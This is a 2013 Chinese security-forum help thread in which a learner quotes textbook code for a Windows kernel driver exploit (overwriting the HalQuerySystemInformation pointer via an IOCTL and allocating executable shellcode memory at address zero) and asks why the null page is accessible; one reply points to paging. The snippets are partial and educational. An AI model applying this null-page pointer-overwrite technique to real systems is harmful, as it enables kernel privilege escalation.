首页
社区
课程
招聘
[旧帖] [求助]为什么进程可以访问在0x0处申请的虚拟内存 0.00雪花
发表于: 2013-3-12 18:23 1544

[旧帖] [求助]为什么进程可以访问在0x0处申请的虚拟内存 0.00雪花

2013-3-12 18:23
1544
《0day安全第二版》内核安全篇中有一个带有漏洞的驱动利用实例,例子中Ring3进程利用漏洞将内核API函数HalQuerySystemInformation函数的地址改为0x0。然后在本进程0x0处申请虚拟内存,存放Shellcode代码。当Ring3进程再次调用HalQuerySystemInformation函数时即可触发漏洞。
修改HalQuerySystemInformation函数地址代码如下:
//利用漏洞将HalQuerySystemInformation函数地址改为0
	InputData = 0;
	NtStatus = NtDeviceIoControlFile(
		DeviceHandle,         // FileHandle
		NULL,                 // Event
		NULL,                 // ApcRoutine
		NULL,                 // ApcContext
		&IoStatusBlock,       // IoStatusBlock
		IOCTL_METHOD_NEITHER, // IoControlCode
		&InputData,           // InputBuffer
		BUFFER_LENGTH,        // InputBufferLength
		xHalQuerySystemInformation, // OutputBuffer
		BUFFER_LENGTH);       // OutBufferLength


申请内存空间代码如下:
//在本进程空间申请0地址内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),      // ProcessHandle
		&ShellCodeAddress,     // BaseAddress
		0,                                 // ZeroBits
		&ShellCodeSize,          // AllocationSize
		MEM_RESERVE | 
		MEM_COMMIT |
		MEM_TOP_DOWN,   // AllocationType
		PAGE_EXECUTE_READWRITE); // Protect

问题就是:请问为什么可以访问在0x0处申请的虚拟内存?我以为虚拟内存0x0处本来是存放着数据代码,是不可以访问到的。我写了个简单的程序如下:
#include <stdio.h>
int main()
{
	int *p = 0x0 ;
	*p = 100 ;
	return 0 ;
}

这样代码却是错的,请大家帮我分析一下我哪里理解错了,总感觉有些地方没搞懂。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 70
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
论坛大婶求指导啊。
2013-3-13 22:43
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
PDE。。。。。PTE。。。。。。分页机制
2013-3-28 19:02
0
游客
登录 | 注册 方可回帖
返回
//